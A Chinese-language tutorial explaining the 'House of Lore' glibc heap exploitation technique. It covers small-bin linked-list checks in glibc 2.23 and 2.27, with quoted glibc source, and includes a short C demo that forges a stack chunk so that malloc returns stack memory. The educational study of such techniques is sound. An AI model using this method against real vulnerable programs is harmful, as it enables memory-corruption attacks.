回炉重修之house of lore
字数 1493 2025-08-22 18:37:22
House of Lore 攻击技术详解
概述
House of Lore 是一种基于 glibc 堆管理机制中 small bin 操作的利用技术,允许攻击者通过精心构造的堆布局实现任意地址分配 chunk。本文将详细解析该技术的原理、利用条件、不同版本间的差异以及实际利用方法。
受影响版本
- 有效版本范围:glibc 2.23 至 2.31(不包含 2.31)
- 重点测试版本:
- libc-2.23
- libc-2.27
- 被禁版本:glibc 2.31 及以上(House of Lore 被官方禁止)
基本原理
House of Lore 通过操纵 small bin 的双向链表结构,欺骗 malloc 分配器将伪造的 chunk 当作合法 chunk 分配出来。核心在于:
- 控制 Small Bin Chunk 的 bk 指针
- 控制目标伪造 chunk 的 fd 指针
- 绕过 small bin 双向链表完整性检查
关键代码分析(glibc 2.23)
在 _int_malloc 函数中(libc2.23 版本 3405 行附近):
if (in_smallbin_range (nb)) {
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) {
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else {
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)) {
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
}
代码执行流程解析
-
第一段关键代码:
if ((victim = last (bin)) != bin) { bck = victim->bk;- 检查 small bin 是否非空
- 获取 victim chunk 的 bk 指针(攻击者可控制)
-
安全检查:
if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; }- 关键检查:
bck->fd == victim - 这意味着伪造的 chunk (
bck) 的 fd 指针必须指向原 victim chunk
- 关键检查:
-
链表操作:
bin->bk = bck; bck->fd = bin;- 将伪造的 chunk 链入 small bin
- 之后可以通过 malloc 分配出这个伪造的 chunk
利用条件
- 能够控制 Small Bin 中某个 chunk 的 bk 指针
- 能够控制目标地址(伪造 chunk)的 fd 指针
- 满足
fake_chunk->fd == victim_chunk的检查条件
演示代码(glibc 2.23 环境)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
int main(int argc, char * argv[]) {
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[4] = {0};
intptr_t *victim = malloc(0x100);
malloc(0x10);
free(victim);
malloc(0x400); // 将 unsorted bin 转为 small bin
// 布置攻击条件
victim[1] = &stack_buffer_1; // victim_chunk->bk = stack_buffer_1_addr
stack_buffer_1[2] = victim-2; // stack_buffer_1->fd = victim_chunk_addr
intptr_t *p1 = malloc(0x100);
intptr_t *p2 = malloc(0x100); // 在栈上分配 chunk
malloc(0x100); // 可能失败: bck->fd != victim
}
堆布局说明
malloc(0x100)分配 victim chunkmalloc(0x10)防止合并free(victim)释放到 unsorted binmalloc(0x400)将 unsorted bin 转为 small bin
攻击布置
victim[1] = &stack_buffer_1:修改 victim chunk 的 bk 指针指向栈地址stack_buffer_1[2] = victim-2:确保伪造 chunk 的 fd 指向 victim chunk
glibc 2.27 的变化
2.27 版本引入了 tcache 机制,相关代码变为:
if (in_smallbin_range (nb)) {
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) {
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins) {
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count &&
(tc_victim = last (bin)) != bin) {
if (tc_victim != 0) {
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
2.27 版本的注意事项
-
需要确保:
tc_victim = last (bin)) == bin(链表为空),或tcache->counts[tc_idx] ≥ mp_.tcache_count(tcache 已满)
否则可能导致非法内存访问使程序崩溃
高版本(2.31+)情况
在 glibc 2.31 及更高版本中:
- House of Lore 被官方禁止
- 利用条件变得更加苛刻
- 如果有满足利用的条件,通常可以选择其他更直接的攻击路径(如 IO 相关攻击)
防御措施
- 使用最新版本的 glibc(2.31+)
- 加强堆指针的完整性检查
- 实施堆隔离和保护机制
总结
House of Lore 是一种经典的堆利用技术,通过精心构造 small bin 的双向链表实现任意地址分配。虽然在高版本中已被修复,但理解其原理对于学习堆利用技术和防御措施仍有重要价值。